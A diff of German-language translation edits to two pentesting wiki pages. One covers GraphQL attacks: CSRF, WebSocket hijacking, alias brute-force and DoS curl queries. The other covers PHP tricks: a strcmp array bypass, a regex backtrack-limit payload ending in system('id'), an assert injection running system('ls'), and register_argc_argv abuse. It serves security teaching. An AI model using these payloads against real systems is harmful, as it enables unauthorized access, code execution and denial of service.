 Immer mehr **GraphQL-Endpunkte deaktivieren die Introspektion**. Die Fehler, die GraphQL wirft, wenn eine unerwartete Anfrage empfangen wird, sind jedoch ausreichend für Tools wie [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), um den größten Teil des Schemas zu rekonstruieren.

-Darüber hinaus beobachtet die Burp Suite-Erweiterung [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL-API-Anfragen, die durch Burp gehen**, und **baut** ein internes GraphQL-**Schema** mit jeder neuen Abfrage, die sie sieht. Es kann auch das Schema für GraphiQL und Voyager offenlegen. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsanfrage erhält. Infolgedessen zeigt GraphQuail alle Abfragen, Argumente und Felder, die innerhalb der API verfügbar sind. Für weitere Informationen [**überprüfen Sie dies**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
+Darüber hinaus beobachtet die Burp Suite-Erweiterung [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL-API-Anfragen, die durch Burp gehen**, und **baut** mit jeder neuen Abfrage, die sie sieht, ein internes GraphQL-**Schema** auf. Es kann auch das Schema für GraphiQL und Voyager offenlegen. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsanfrage erhält. Infolgedessen zeigt GraphQuail alle Abfragen, Argumente und Felder an, die innerhalb der API verfügbar sind. Für weitere Informationen [**überprüfen Sie dies**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).

 Eine schöne **Wortliste**, um [**GraphQL-Entitäten zu entdecken, finden Sie hier**](https://github.com/Escape-Technologies/graphql-wordlist?).

@ -411,7 +411,7 @@ Wenn Sie nicht wissen, was CSRF ist, lesen Sie die folgende Seite:
 ../../pentesting-web/csrf-cross-site-request-forgery.md
 {{#endref}}

-Dort draußen werden Sie mehrere GraphQL-Endpunkte finden, die **ohne CSRF-Token konfiguriert sind.**
+Dort draußen werden Sie mehrere GraphQL-Endpunkte finden, **die ohne CSRF-Token konfiguriert sind.**

 Beachten Sie, dass GraphQL-Anfragen normalerweise über POST-Anfragen mit dem Content-Type **`application/json`** gesendet werden.
 ```javascript
@ -423,17 +423,17 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 ```
 Daher ist es möglich, **Änderungen** in der GraphQL vorzunehmen, indem man eine CSRF ausnutzt, da CSRF-Anfragen wie die vorherigen **ohne Preflight-Anfragen** gesendet werden.

-Beachten Sie jedoch, dass der neue Standardwert des Cookies für das `samesite`-Flag von Chrome `Lax` ist. Das bedeutet, dass das Cookie nur von einer Drittanbieter-Website in GET-Anfragen gesendet wird.
+Beachten Sie jedoch, dass der neue Standardwert des Cookie-Werts des `samesite`-Flags von Chrome `Lax` ist. Das bedeutet, dass das Cookie nur von einer Drittanbieter-Website in GET-Anfragen gesendet wird.

 Es ist zu beachten, dass es normalerweise möglich ist, die **Abfrage** **Anfrage** auch als **GET** **Anfrage** zu senden und das CSRF-Token möglicherweise in einer GET-Anfrage nicht validiert wird.

 Außerdem könnte es möglich sein, durch einen [**XS-Search**](../../pentesting-web/xs-search/index.html) **Angriff** Inhalte vom GraphQL-Endpunkt zu exfiltrieren, indem man die Anmeldeinformationen des Benutzers ausnutzt.

-Für weitere Informationen **überprüfen Sie** [**den ursprünglichen Beitrag hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
+Für weitere Informationen **überprüfen Sie den** [**originalen Beitrag hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).

-## Cross-Site-WebSocket-Hijacking in GraphQL
+## Cross-Site WebSocket-Hijacking in GraphQL

-Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein **Cross-Site-WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen** und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.
+Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein **Cross-Site WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen** und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.

 Für weitere Informationen überprüfen Sie:

@ -465,13 +465,13 @@ Im folgenden Beispiel sehen Sie, dass die Operation "forgotPassword" ist und das

 ## Umgehung von Ratenlimits mit Aliassen in GraphQL

-In GraphQL sind Aliasse ein leistungsstarkes Feature, das es ermöglicht, **Eigenschaften explizit zu benennen**, wenn eine API-Anfrage gestellt wird. Diese Fähigkeit ist besonders nützlich, um **mehrere Instanzen desselben Typs** von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.
+In GraphQL sind Aliasse eine leistungsstarke Funktion, die es ermöglicht, **Eigenschaften explizit zu benennen**, wenn eine API-Anfrage gestellt wird. Diese Fähigkeit ist besonders nützlich, um **mehrere Instanzen desselben Typs** von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.

 Für ein detailliertes Verständnis von GraphQL-Aliassen wird die folgende Ressource empfohlen: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).

-Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit für zahlreiche API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt auszuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die **Anzahl der HTTP-Anfragen** einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen.
+Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit für zahlreiche API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt durchzuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die **Anzahl der HTTP-Anfragen** einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen.

-Betrachten Sie das folgende Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte Ratenbegrenzungen umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst, was möglicherweise die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht.
+Betrachten Sie das unten angegebene Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte Ratenbegrenzungen umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst, was möglicherweise die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht.
 ```bash
 # Example of a request utilizing aliased queries to check for valid discount codes
 query isValidDiscount($code: Int) {
@ -490,18 +490,18 @@ valid

 ### Alias Overloading

-**Alias Overloading** ist eine GraphQL-Sicherheitsanfälligkeit, bei der Angreifer eine Abfrage mit vielen Aliasen für dasselbe Feld überlasten, was dazu führt, dass der Backend-Resolver dieses Feld wiederholt ausführt. Dies kann die Serverressourcen überlasten und zu einer **Denial of Service (DoS)** führen. Zum Beispiel wird im folgenden Query dasselbe Feld (`expensiveField`) 1.000 Mal mit Aliasen angefordert, was den Backend zwingt, es 1.000 Mal zu berechnen und möglicherweise CPU oder Speicher zu erschöpfen:
+**Alias Overloading** ist eine GraphQL-Sicherheitsanfälligkeit, bei der Angreifer eine Abfrage mit vielen Aliasen für dasselbe Feld überlasten, was dazu führt, dass der Backend-Resolver dieses Feld wiederholt ausführt. Dies kann die Serverressourcen überlasten und zu einer **Denial of Service (DoS)** führen. Zum Beispiel wird im folgenden Query dasselbe Feld (`expensiveField`) 1.000 Mal mit Aliasen angefordert, was den Backend zwingt, es 1.000 Mal zu berechnen, was potenziell die CPU oder den Speicher erschöpfen kann:
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "Content-Type: application/json" \
 -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
 'https://example.com/graphql'
 ```
-Um dies zu mildern, implementieren Sie Alias-Zählgrenzen, Abfragekomplexitätsanalysen oder Ratenbegrenzungen, um Ressourcenmissbrauch zu verhindern.
+Um dies zu mildern, implementieren Sie Alias-Zählgrenzen, eine Analyse der Abfragekomplexität oder eine Ratenbegrenzung, um den Missbrauch von Ressourcen zu verhindern.

 ### **Array-basierte Abfrage-Batching**

-**Array-basierte Abfrage-Batching** ist eine Schwachstelle, bei der eine GraphQL-API das Batching mehrerer Abfragen in einer einzigen Anfrage zulässt, wodurch ein Angreifer eine große Anzahl von Abfragen gleichzeitig senden kann. Dies kann das Backend überlasten, indem alle gebündelten Abfragen parallel ausgeführt werden, was übermäßige Ressourcen (CPU, Speicher, Datenbankverbindungen) verbraucht und potenziell zu einem **Denial of Service (DoS)** führen kann. Wenn keine Grenze für die Anzahl der Abfragen in einem Batch besteht, kann ein Angreifer dies ausnutzen, um die Verfügbarkeit des Dienstes zu beeinträchtigen.
+**Array-basierte Abfrage-Batching** ist eine Schwachstelle, bei der eine GraphQL-API das Batching mehrerer Abfragen in einer einzigen Anfrage zulässt, wodurch ein Angreifer eine große Anzahl von Abfragen gleichzeitig senden kann. Dies kann das Backend überlasten, indem alle gebündelten Abfragen parallel ausgeführt werden, was übermäßige Ressourcen (CPU, Speicher, Datenbankverbindungen) verbraucht und potenziell zu einem **Denial of Service (DoS)** führen kann. Wenn es keine Begrenzung für die Anzahl der Abfragen in einem Batch gibt, kann ein Angreifer dies ausnutzen, um die Verfügbarkeit des Dienstes zu beeinträchtigen.
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -513,7 +513,7 @@ In diesem Beispiel werden 10 verschiedene Abfragen in einer Anfrage gebündelt,

 ### **Directive Overloading Vulnerability**

-**Directive Overloading** tritt auf, wenn ein GraphQL-Server Abfragen mit übermäßigen, duplizierten Direktiven zulässt. Dies kann den Parser und Executor des Servers überwältigen, insbesondere wenn der Server wiederholt dieselbe Direktivenlogik verarbeitet. Ohne angemessene Validierung oder Grenzen kann ein Angreifer dies ausnutzen, indem er eine Abfrage mit zahlreichen duplizierten Direktiven erstellt, um eine hohe Rechen- oder Speichernutzung auszulösen, was zu **Denial of Service (DoS)** führt.
+**Directive Overloading** tritt auf, wenn ein GraphQL-Server Abfragen mit übermäßigen, duplizierten Direktiven zulässt. Dies kann den Parser und den Executor des Servers überwältigen, insbesondere wenn der Server wiederholt dieselbe Direktivenlogik verarbeitet. Ohne angemessene Validierung oder Grenzen kann ein Angreifer dies ausnutzen, indem er eine Abfrage mit zahlreichen duplizierten Direktiven erstellt, um eine hohe Rechen- oder Speichernutzung auszulösen, was zu **Denial of Service (DoS)** führt.
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -539,7 +539,7 @@ Und dann **verwenden Sie einige der benutzerdefinierten**.

 ### **Feldduplikationsanfälligkeit**

-**Feldduplikation** ist eine Anfälligkeit, bei der ein GraphQL-Server Abfragen mit demselben Feld, das übermäßig wiederholt wird, zulässt. Dies zwingt den Server, das Feld für jede Instanz redundant aufzulösen, was erhebliche Ressourcen (CPU, Speicher und Datenbankaufrufe) verbraucht. Ein Angreifer kann Abfragen mit Hunderten oder Tausenden von wiederholten Feldern erstellen, was zu hoher Last führt und potenziell zu einem **Denial of Service (DoS)** führen kann.
+**Feldduplikation** ist eine Anfälligkeit, bei der ein GraphQL-Server Abfragen mit demselben Feld übermäßig wiederholt. Dies zwingt den Server, das Feld für jede Instanz redundant aufzulösen, was erhebliche Ressourcen (CPU, Speicher und Datenbankaufrufe) verbraucht. Ein Angreifer kann Abfragen mit Hunderten oder Tausenden von wiederholten Feldern erstellen, was zu hoher Last führt und potenziell zu einem **Denial of Service (DoS)** führen kann.
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -548,17 +548,17 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 ```
 ## Tools

-### Vulnerability scanners
+### Schwachstellenscanner

- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testen Sie gängige Fehlkonfigurationen von GraphQL-Endpunkten
+- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testet gängige Fehlkonfigurationen von GraphQL-Endpunkten
 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL-Sicherheitsprüfskript mit Fokus auf das Durchführen von Batch-GraphQL-Abfragen und -Mutationen.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerabdruck des verwendeten GraphQL erstellen
+- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerabdruck des verwendeten GraphQL
 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit, das verwendet werden kann, um Schemata zu erfassen und nach sensiblen Daten zu suchen, Autorisierungen zu testen, Schemata zu brute-forcen und Pfade zu einem bestimmten Typ zu finden.
 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kann als Standalone oder [Burp-Erweiterung](https://github.com/doyensec/inql) verwendet werden.
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kann auch als CLI-Client verwendet werden, um Angriffe zu automatisieren
+- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kann auch als CLI-Client verwendet werden, um Angriffe zu automatisieren: `python3 graphqlmap.py -u http://example.com/graphql --inject`
 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool, das die verschiedenen Möglichkeiten auflistet, **einen bestimmten Typ in einem GraphQL-Schema zu erreichen**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Der Nachfolger von Standalone- und CLI-Modi von InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp-Erweiterung für fortgeschrittenes GraphQL-Testing. Der _**Scanner**_ ist der Kern von InQL v5.0, wo Sie einen GraphQL-Endpunkt oder eine lokale Introspektionsschema-Datei analysieren können. Er generiert automatisch alle möglichen Abfragen und Mutationen und organisiert sie in einer strukturierten Ansicht für Ihre Analyse. Die _**Attacker**_-Komponente ermöglicht es Ihnen, Batch-GraphQL-Angriffe durchzuführen, was nützlich sein kann, um schlecht implementierte Ratenlimits zu umgehen.
+- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Der Nachfolger der Standalone- und CLI-Modi von InQL
+- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp-Erweiterung oder Python-Skript für fortgeschrittene GraphQL-Tests. Der _**Scanner**_ ist der Kern von InQL v5.0, wo Sie einen GraphQL-Endpunkt oder eine lokale Introspektionsschema-Datei analysieren können. Er generiert automatisch alle möglichen Abfragen und Mutationen und organisiert sie in einer strukturierten Ansicht für Ihre Analyse. Die _**Attacker**_-Komponente ermöglicht es Ihnen, Batch-GraphQL-Angriffe durchzuführen, die nützlich sein können, um schlecht implementierte Ratenlimits zu umgehen: `python3 inql.py -t http://example.com/graphql -o output.json`
 - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Versuchen Sie, das Schema selbst bei deaktivierter Introspektion zu erhalten, indem Sie die Hilfe einiger GraphQL-Datenbanken in Anspruch nehmen, die die Namen von Mutationen und Parametern vorschlagen.

 ### Clients
@ -566,7 +566,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 - [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI-Client
 - [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI-Client

-### Automatic Tests
+### Automatische Tests

 {{#ref}}
 https://graphql-dashboard.herokuapp.com/
@ -574,7 +574,7 @@ https://graphql-dashboard.herokuapp.com/

 - Video, das AutoGraphQL erklärt: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)

-## References
+## Referenzen

 - [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
 - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
@ -33,7 +33,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
 {{#endfile}}

 - `"string" == 0 -> True` Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl
- `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im dezimalen oder hexadezimalen Format bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert)
+- `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert)
 - `"0e3264578" == 0 --> True` Ein String, der mit "0e" beginnt und gefolgt von irgendetwas ist, wird gleich 0 sein
 - `"0X3264578" == 0X --> True` Ein String, der mit "0" beginnt und gefolgt von einem beliebigen Buchstaben (X kann jeder Buchstabe sein) und gefolgt von irgendetwas ist, wird gleich 0 sein
 - `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die String-Eingabe von "0" und einige Inhalte, die gehasht und damit verglichen werden, steuern können. Daher, wenn Sie einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und ohne Buchstaben ist, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Strings** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true));
 ```
 ### strcmp()/strcasecmp()

-Wenn diese Funktion für **irgendeine Authentifizierungsüberprüfung** (wie das Überprüfen des Passworts) verwendet wird und der Benutzer eine Seite des Vergleichs kontrolliert, kann er ein leeres Array anstelle eines Strings als Wert des Passworts senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Überprüfung umgehen:
+Wenn diese Funktion für **irgendeine Authentifizierungsüberprüfung** verwendet wird (wie das Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er ein leeres Array anstelle eines Strings als Wert des Passworts senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Überprüfung umgehen:
 ```php
 if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
 // Real Password
@ -74,7 +74,7 @@ Selbst wenn `===` **verwendet wird**, kann es Fehler geben, die den **Vergleich

 #### New line bypass

-Wenn jedoch der Anfang des Regex mit `preg_match()` **nur die erste Zeile der Benutzereingabe überprüft**, dann könntest du, wenn du die Eingabe in **mehreren Zeilen** **senden** kannst, in der Lage sein, diese Überprüfung zu umgehen. Beispiel:
+Wenn jedoch der Anfang des regexp`preg_match()` **nur die erste Zeile der Benutzereingabe überprüft**, dann könntest du, wenn du die Eingabe in **mehreren Zeilen** **senden** kannst, in der Lage sein, diese Überprüfung zu umgehen. Beispiel:
 ```php
 $myinput="aaaaaaa
 11111111"; //Notice the new line
@ -113,9 +113,9 @@ Trick von: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-w
 Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) basieren. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, was viel Stack-Speicher verbraucht. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP beträgt dieses Limit [standardmäßig 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist, als im Stack Platz hat.

 [Dieser Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde ebenfalls in dem Beitrag verlinkt, in dem ausführlicher über dieses Problem gesprochen wird. Unsere Aufgabe war nun klar:\
-**Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system(<verybadcommand>)}` wirft, um SSTI --> RCE --> Flag :)**.
+**Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system(<verybadcommand>)}` wirft, um SSTI --> RCE --> Flag :) zu erhalten.**

-Nun, in Bezug auf Regex machen wir tatsächlich keine 100k "Rekursionen", sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) besagt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\
+Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen stattdessen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) besagt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\
 Um das zu erreichen, ergibt `'X'*500_001` 1 Million Backtracking-Schritte (500k vorwärts und 500k rückwärts):
 ```python
 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -154,9 +154,10 @@ Check:
 ## Weitere Tricks

 - **register_globals**: In **PHP < 4.1.1.1** oder wenn falsch konfiguriert, kann **register_globals** aktiv sein (oder ihr Verhalten wird nachgeahmt). Das bedeutet, dass in globalen Variablen wie $\_GET, wenn sie einen Wert haben z.B. $\_GET\["param"]="1234", Sie darauf über **$param zugreifen können. Daher können Sie durch das Senden von HTTP-Parametern Variablen\*\* überschreiben, die im Code verwendet werden.
- Die **PHPSESSION-Cookies der gleichen Domain werden am selben Ort gespeichert**, daher, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden verwendet werden**, können Sie einen Pfad so gestalten, dass er das Cookie des anderen Pfades zugreift, indem er den Wert des Cookies des anderen Pfades setzt.\
+- Die **PHPSESSION-Cookies der gleichen Domain werden am selben Ort gespeichert**, daher, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden verwendet werden**, können Sie einen Pfad so gestalten, dass er **das Cookie des anderen Pfades** zugreift, indem Sie den Wert des anderen Pfad-Cookies setzen.\
 Auf diese Weise, wenn **beide Pfade auf eine Variable mit demselben Namen zugreifen**, können Sie den **Wert dieser Variablen in path1 auf path2 anwenden**. Und dann wird path2 die Variablen von path1 als gültig betrachten (indem das Cookie den Namen erhält, der ihm in path2 entspricht).
 - Wenn Sie die **Benutzernamen** der Benutzer der Maschine haben. Überprüfen Sie die Adresse: **/\~\<USERNAME>**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind.
+- Wenn eine PHP-Konfiguration **`register_argc_argv = On`** hat, werden Abfrageparameter, die durch Leerzeichen getrennt sind, verwendet, um das Array der Argumente **`array_keys($_SERVER['argv'])`** zu füllen, als ob sie **Argumente von der CLI** wären. Dies ist interessant, weil, wenn diese **Einstellung aus ist**, der Wert des **args-Arrays `Null`** sein wird, wenn es von der Webanwendung aufgerufen wird, da das args-Array nicht gefüllt wird. Daher, wenn eine Webseite versucht zu überprüfen, ob sie als Web- oder CLI-Tool läuft, mit einem Vergleich wie `if (empty($_SERVER['argv'])) {`, könnte ein Angreifer **Parameter in der GET-Anfrage wie `?--configPath=/lalala`** senden und es wird denken, dass es als CLI läuft und könnte diese Argumente potenziell parsen und verwenden. Weitere Informationen im [originalen Bericht](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
 - [**LFI und RCE mit PHP-Wrappers**](../../../pentesting-web/file-inclusion/index.html)

 ### password_hash/password_verify
@ -184,8 +185,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
 ```
 #### Füllen eines Körpers, bevor Header gesetzt werden

-Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server beim Versuch, die **Header** in die Antwort einzufügen, einen Fehler auslöst.\
-Im folgenden Szenario ließ der **Angreifer den Server einige große Fehler ausgeben**, und wie Sie auf dem Bildschirm sehen können, konnte PHP, als es versuchte, **die Header-Informationen zu ändern, dies nicht tun** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet):
+Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server einen Fehler ausgibt, wenn er versucht, **die Header** in die Antwort einzufügen.\
+Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler auszugeben**, und wie Sie auf dem Bildschirm sehen können, konnte PHP, als es versuchte, **die Header-Informationen zu ändern, dies nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet):

 ![](<../../../images/image (1085).png>)

@ -228,7 +229,7 @@ Diese Funktion innerhalb von php ermöglicht es Ihnen, **Code, der in einer Zeic
 ```
 ?page=a','NeVeR') === false and system('ls') and strpos('a
 ```
-Sie müssen die **Code-Syntax** **brechen**, Ihre **Payload** **hinzufügen** und sie dann **wieder reparieren**. Sie können **logische Operationen** wie "**and" oder "%26%26" oder "|"** verwenden. Beachten Sie, dass "or", "||" nicht funktioniert, da unsere Payload nicht ausgeführt wird, wenn die erste Bedingung wahr ist. Ebenso funktioniert ";" nicht, da unsere Payload nicht ausgeführt wird.
+Sie müssen die **Code-Syntax** **brechen**, Ihre **Payload** **hinzufügen** und sie dann wieder **reparieren**. Sie können **logische Operationen** wie "**and" oder "%26%26" oder "|"** verwenden. Beachten Sie, dass "or", "||" nicht funktioniert, da unsere Payload nicht ausgeführt wird, wenn die erste Bedingung wahr ist. Ebenso funktioniert ";" nicht, da unsere Payload nicht ausgeführt wird.

 **Eine andere Option** besteht darin, der Zeichenkette die Ausführung des Befehls hinzuzufügen: `'.highlight_file('.passwd').'`

@ -261,7 +262,7 @@ Sie können auch **//** verwenden, um den Rest des Codes zu kommentieren.

 Um die Anzahl der Klammern zu entdecken, die Sie schließen müssen:

